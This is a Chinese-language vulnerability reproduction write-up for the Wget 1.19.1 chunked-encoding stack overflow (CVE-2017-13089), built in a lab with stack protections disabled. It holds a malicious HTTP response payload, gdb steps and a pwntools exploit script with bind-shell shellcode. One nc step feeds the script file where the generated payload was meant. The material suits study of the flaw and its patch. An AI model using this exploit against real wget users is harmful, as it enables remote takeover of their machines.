1001-CVE-2017-13089 wget 栈溢出 复现

0x00软件描述

GNU Wget(常简称为 Wget )是一个在网络上进行下载的简单而强大的自由软件,其本身也是 GNU 计划的一部分。它的名字是 “World Wide Web” 和 “Get” 的结合,同时也隐含了软件的主要功能。当前它支持通过 HTTP、HTTPS,以及 FTP 这三个最常见的 TCP/IP 协议协议下载。

0x01环境搭建

  1. Ubuntu 16.04 64bit
  2. wget .19.1

apt-get update
apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
apt-get remove wget
卸载老的版本,编译安装1.19.1
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
./configure
make && sudo make install
make unistall
vim configure.ac
为本次复现方便关闭了程序的 canary 和 NX 保护。
在 785 行下面加入

dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"
dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"
dnl
dnl Create output
dnl

apt-get install automake
安装编译安装需求的 automake
make && sudo make install

  1. gdb-peda

apt install git
apt-get install gdb

cd ~
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
输入 gdb
显示
gdb-peda$
为成功

checksec /usr/local/bin/wget


关闭堆栈保护成功

0x02漏洞分析

wget 在下载文件时,如接收到重定向(401未认证)时,会将数据传递给skip_short_body () 函数处理,在该函数中会调用 strtol () 来对每个块的长度进行读取,在 1.19.2 版本之前,skip_short_body () 函数并没有对读取到的 块的长度 的正负进行检查。然后程序使用 MIN 宏在长度跟 512 之间选择一个最小的长度给 contlen,将此长度传给 fd_read () 作为参数向栈上读入相应字节的内容。

但是若 某块的长度 为负,经 strtol () 处理后,返回的 size 为有符号整形 (8-byte),最高位为1,MIN () 宏也会认 size 比 512 小,会将此 8-byte 负数作为参数传给 fd_read (),fd_read () 只取其低 4-byte。

因此 contlen 可控,栈上写内容的长度也可控,可以造成栈溢出来反弹shell。

如何进入skip_short_body()函数

HTTP_STATUS_UNAUTHORIZED定义如下


skip_short_body()函数

SKIP_SIZE定义如下

MIN宏定义如下

因此最后 contlen会得到一个 负值,由此可以控制 contlen 的数值大小

随后进入 fd_read() 函数,从 fd 读取 bufsize 个字节到 buf 中,于是引起缓冲区溢出:

更新补丁如下


补丁是对 remaining_chunk_size 的数值是否为负值进行了判断

0x03漏洞复现

根据分析构建payload如下

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

linux下观察:
A窗口:
nc -lp 6666 < payload
B窗口:

gdb wget 
开始调试
disassemble skip_short_body
查看skip_short_body函数的地址块
b *0x000000000041ef0a
在 strtol () 处断点调试
r localhost:6666
运行程序

断点成功
n执行下一步

可以看到 strtol 函数返回值为:0xffffffff00001000
公式如下(python下计算):

继续 n执行下一步,到 fd_read () 处查看传入的参数。

可以看到,这里取了 0x01000 也就是 0xffffffff00001000 的低 4 字节作为长度参数,往 0x7fffffffd8d0 中写数据也就是’AAAAAAAAAAAAA…‘。
写入之前查看0x7fffffffd8d0下的数据

下一步执行后,查看0x7fffffffd8d0下的数据

可以看出数据溢出,全部地址都是16进制的 A

输入c继续,成功 crash ,覆写了 ebp , 控制栈上的数据再 ret 可以控制 rip,劫持程序控制流。


这里进行栈偏移计算,方便后续利用
栈偏移计算:


payload生成exp

#8exp1.py
from pwn import *

payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
"""
port = p64(6324).replace('\x00','')[::-1]       #设置6324为监听端口
sc = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"+port+"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

payload += sc + (568-len(sc))*'A'   #栈偏移量568
payload += "\xd0\xd8\xff\xff\xff\x7f\x00\x00" #输入数据起始地址
payload += "\n0\n"

with open('8exp1','wb') as f:
    f.write(payload)

编译pyload并执行
A窗口:
python 8exp1.py
nc -lp 6666 < 8exp1.py
B窗口:
gdb wget
r localhost:6666

C窗口:
nc 127.0.0.1 6324

拿到shell
B窗口后续:

到此拿到shell权限,利用成功

0x04漏洞防御

升级wget版本

你可能感兴趣的:(1001-CVE-2017-13089 wget 栈溢出 复现)